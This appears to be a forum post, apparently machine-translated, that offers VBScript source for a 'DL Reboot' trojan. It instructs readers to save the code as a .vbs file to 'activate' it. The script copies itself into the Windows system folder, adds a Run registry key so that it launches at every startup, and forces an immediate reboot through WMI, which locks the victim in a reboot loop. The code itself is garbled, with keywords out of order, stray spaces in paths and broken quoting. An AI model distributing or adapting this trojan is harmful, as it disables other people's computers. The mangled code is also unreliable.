note the following copy all the source into notepad save as. vbs (if you want to activate)
if not let it remain in the file exstensi.txt
exampels: ippamd0_trojanHorse.VBS
Copy all the source below:
brakes - dlRB "DL Reboot" Trojan script by D.L.
On Error Resume Next
FSobj dim, sysDir, generateCopy, newfile, fixedCode, procreateCopy, fileData
set FSobj = CreateObject ("Scripting.FileSystemObject")
set sysDir = FSobj.GetSpecialFolder (1)
createRegKey "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ dlRB", sysDir & "\ dlRB.vbs"
sub createRegKey (regkey, regVal)
set regedit = CreateObject ("WScript.Shell")
regEdit.RegWrite regkey, regVal
end sub
set generateCopy = FSobj.CreateTextFile (sysDir + "\ dlRB.vbs")
generateCopy.close
set newfile = FSobj.OpenTextFile (WScript.ScriptFullname, 1)
setFile ()
fixedCode = replace (fileData, chr (94), "" "")
set procreateCopy = FSobj.OpenTextFile (sysDir + "\ dlRB.vbs", 2)
procreateCopy.write fixedCode
procreateCopy.close
rebootSystem ()
setFile function ()
fileData = "rem - ^ ^ by D.L. dlRB" & vbCrLf & _
"strComputer = ^. ^" & vbCrLf & _
"Set objWMIService = GetObject (winmgmts ^: ^ _" & vbCrLf & _
"& ^ {ImpersonationLevel = impersonate, (Shutdown)}! \ \ ^ & ^ & StrComputer \ root \ cimv2 ^)" & vbCrLf & _
"Set colOperatingSystems = objWMIService.ExecQuery _ '& vbCrLf & _
"(Select * from Win32_OperatingSystem ^ ^)" & vbCrLf & _
"For Each objOperatingSystem in colOperatingSystems" & vbCrLf & _
"ObjOperatingSystem.Reboot ()" & vbCrLf & _
"Next"
end function
rebootSystem function ()
strComputer = "."
Set objWMIService = GetObject ("winmgmts:" _
& "{ImpersonationLevel = impersonate, (Shutdown)}! \ \" & StrComputer & "\ root \ cimv2")
Set colOperatingSystems = objWMIService.ExecQuery _
("Select * from Win32_OperatingSystem")
For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot ()
Next
end function
yes ... do not forget saved?
